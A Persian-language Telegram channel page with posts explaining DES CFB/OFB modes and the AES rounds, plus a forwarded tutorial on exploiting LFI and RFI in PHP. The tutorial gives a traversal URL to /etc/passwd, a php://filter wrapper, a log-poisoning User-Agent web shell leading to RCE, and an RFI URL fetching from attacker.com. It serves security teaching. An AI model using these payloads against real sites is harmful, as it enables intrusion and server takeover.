ReverseEngineering – Telegram
ReverseEngineering
1.24K subscribers
40 photos
10 videos
55 files
666 links
Download Telegram
الگوریتم رمزنگاری CFB

مد Cipher Feedback از متن هایی كه قبلاً رمزنگاری شدن به عنوان ورودی DES برای تولید شبیه تصادفی خروجی استفاده میکنه این خروجی با متن اصلی تركیب شده تا متن رمزنگاری شده رو تولید كنه از این مد برای رمزنگاری كاراكترهای تنها استفاده میشه
👍3🔥1🌭1
الگوریتم رمزنگاری OFB

مد Output Feedback بسیار شبیه به CFB هست ولی مثل اون به زنجیر كردن متن های رمزنگاری شده نمی پردازد و به جای اون یک سری پردازش دیگر بر روی متن اصلی انجام میده از این مد برای رمزنگاری ارتباطات ماهواره ای استفاده میشه مدهای CBC و CFB تایید پیغام و رمزنگاری رو پشت سر هم  انجام میدن تایید پیغام جهت اطمینان از مطابقت متن ارسال شده و متن دریافت شده هست در هنگام رمزنگاری DES بلوک های متن به هم لینک میشن در مدهای CFB و CBC رمزنگاری هر بلوک وابسته به رمزنگاری بلوک قبل از اونه به علت وجود همین اتصال در صورت ایجاد تغییر حتی در یک كاراكتر، بلوک نهایی رمزنگاری شده تغییر میکنه به همین دلیل بلوک آخر به عنوان یک كد تأیید هویت كار میكنه و از یک cryptographic checksum برای آزمایش دقت انتقال و تشخیص دستكاری پیغام استفاده میشه كلیدهایDES 40  بیتی امروزه در عرض چندین ساعت توسط كامپیوترهای معمولی شكسته میشن و بنابراین نباید برای محافظت از اطلاعات مهم و با مدت اعتبار طولانی استفاده شه كلید 56 بیتی معمولا توسط سخت‌افزار یا شبكه‌های بخصوصی شكسته میشه
👍6🖕1
نحوه کار AES

الگوریتم Rijndael بایت به بایت كار میکنه و ورودی اصلی رو با كلید رمزنگاری در یک ماتریس 4×4 وصل میکنه كلید به طریقی تقسیم یا برنامه ریزی شده كه بتونه در مراحل مختلف تكرار به تدریج تزریق شه اولین قسمت كلید قبل از شروع پروسه 10 مرحله ای تزریق میشه در هر كدوم از این مراحل بایتها جابجا میشن ردیف ها شیفت پیدا میکنن و ستونها تركیب میشن
🔥3
SubBytes

در پروسه جابجایی بایت های متن ورودی در یک جعبه جابجایی به نام S-box قرار می گیرن كه یک ماتریس 16×16 هست هر بایت در یک تقاطع سطر و ستون این ماتریس جا می گیره برای پیدا كردن جای هر بایت اولین عدد صحیح مبنای 16 (nibble) در یک بایت متن اصلی گرفته شده و از اون برای مشخص كردن سطر S-box استفاده میشه و سپس از دومین nibble برای مشخص كردن ستون استفاده می شه كاراكتری كه در تقاطع سطر و ستون انتخاب شده ذخیره میشه به عنوان SubByte برای متن اصلی شناخته میشه این پروسه برای هر 16 بایت در ماتریس تكرار میشه
🔥2
شیفت ردیف و تركیب ستونها

بایت هایی كه باید رمزنگاری شن توسط جایگذاری تعویض میشن و بعد ردیف ها شیفت پیدا میکنن برای مثال اولین ردیف دست نخورده باقی میمونه ردیف دوم یک محل به راست جابجا میشه سومین ردیف دو محل جابجا میشه و آخرین ردیف نیز سه محل جابجا میشه این پروسه توسط یک فاز تركیب ستونها دنبال میشه كه در آن هر ستون از ماتریس در یک ماتریس دیگر ضرب میشه تا موقعیت ستون تغییر کنه
👍31🕊1
كلیدهای Round

در مرحله بعدی یک كلید round به هر ستون اضافه میشه این كلید در واقع یک تیکه کوچیک از یک كلید محرمانه است كه برای مراحل بعدی رمزنگاری تزریق میشه
👍51
تكرار

این تبدیل ها 9 بار دیگه تكرار میشن در تكرار آخر تركیب ستون ها وجود نداره و با اضافه كردن كلید round متن رمزنگاری شده به دست میاد كلید هم به ترتیب خود شیفت پیدا می كنه گرد میشه و به خودش اضافه میشه.
👍5👏1
دوستان اگه کانال برسه به 400 یک سوپرایز دارم براتون یک کتاب صفر تا صد مهندسی معکوس که هیچ جا leak نشده و جدیدترین نسخه است رو براتون میزارم و اگه ممبرا برن بالا از این به بعد بهترین رفرنس های روز دنیا رو براتون میزارم
😍18👏4🔥21
Forwarded from Web Application Security (Alireza)
4⃣ توضیح کامل آسیب پذیری LFI =

شبه کد آسیب پذیر با PHP به LFI 👇
include($_GET['file']);

وقتی کد بالا استفاده بشه، با URL زیر میتونیم بهش مقدار بدیم :
http://target.com/index.php?file=news.php

در URL بالا فایل news.php داخل فایل index.php فراخوانی شده است. برای بهتره برداری ازش در مرحله اول باید سعی کنیم فایل passwd را بخوانیم.
http://target.com/index.php?file=../../../../../../../etc/passwd


5⃣ استفاده از Wrapper ها =

در LFI میتونیم از wrapper ها هم استفاده کنیم. از Wrapper زیر برای خوندن فایل استفاده میشه که میتونیم باهاش کد های وب سایت رو بخونیم.
php://filter/convert.base64-encode/Resource=index.php

خروجی به صورت base64 هست و باید decode بشه.

6⃣ تبدیل LFI به RCE =

روش های مختلفی برای تبدیل LFI به RCE وجود دارد مثل :
1) Expect Wrapper
2) Input Wrapper
3) Log Poisoning
4) phpinfo in php
5) Chain LFI & SQLi
6) PHP Session
7) Chain LFI & RFU

1⃣6⃣ تکنیک Log Poisoning :

بعد از پیدا کردن LFI، باید دنبال یک فایلی در سرور باشیم که دیتایی از سمت کاربر ذخیره میشه داخلش. باید دسترسی خوندن اون فایل رو داشته باشیم. میتونیم موارد زیر رو بررسی کنیم :
1) Apache/Nginx Log file
2) FTP Log file
3) SSH Log file
4) SMTP Log file
5) SFTP Log file
مثلا تو log file های مربوط به وب سرور خیلی وقتا user-agent هم لاگ میشه.(قبلش باید فایل Log رو با LFI بخونیم و مطمئن بشیم از این مورد). تنها کاری که باید انجام بدیم inject کردن پیلود مخرب به عنوان user agent هست.
GET /test HTTP/1.1
..
..
..
User-Agent: <?php system($_GET['cmd'])  ?>

و این اطلاعات در لاگ فایل مربوط به Apache ذخیره میشه. حالا باید از طریق LFI اون فایل رو فراخوانی کنیم و پارامتر cmd رو مقدار دهی کنیم.
http://target.com/index.php?file=../../../../../var/apache2/access.log&cmd=whoami

و RCE گرفته میشه.
برای مابقی سرویس هاهم Log poisoning به این صورت انجام میشه با این تفاوت که اونجا user agent نداریم و چیز دیگه ای از کاربر Log میشه مثل یوزرنیم.

7⃣ آسیب پذیری RFI =

تو آسیب پذیری LFI همه فایل هایی که فراخوانی میکردیم Local بودن. تو آسیب پذیری RFI فایل های Remote هم فراخوانی میکنیم. فرضا یک فایل در سرور خودمون قرار میدیم با اکستنشن txt. و به عنوان ورودی به تارگت میدیم.
http://target.com/index.php.php?file=http://attacker.com/RFI.txt


اما حالت پیشفرض این آسیب پذیری وجود نداره حتی اگه LFI وجود داشته باشه، باید کانفیگ های مربوط به دو مورد زیر به صورت دستی توسط برنامه نویس تغییر داده بشه تا قابلیت فراخوانی فایل به صورت remote فعال بشه.
allow_url_include
allow_url_fopen

وقتی آسیب پذیری RFI داریم قطعا LFI هم داریم. اما وقتی LFI هست تا وقتی دو تابع بالا فعال نباشن آسیب پذیری RFI وجود نخواهد داشت.

1⃣7⃣ آیا اگر بتونیم یک فایل remote روی وب سایت لود کنیم RFI داریم همیشه

خیر. علاوه بر فراخوانی به صورت remote باید تابع آسیب پذیر قابلیت اجرایی داشته باشه تا بتونیم کد سمت backend اجرا کنیم‌ (همون خاصیت LFI) . در غیر این صورت فقط میتونیم یک فایل JS. به صورت remote لود کنیم و به XSS برسیم.

#LFI
#RFI
#Path_traversal
#Directory_traversal
👍31🍌1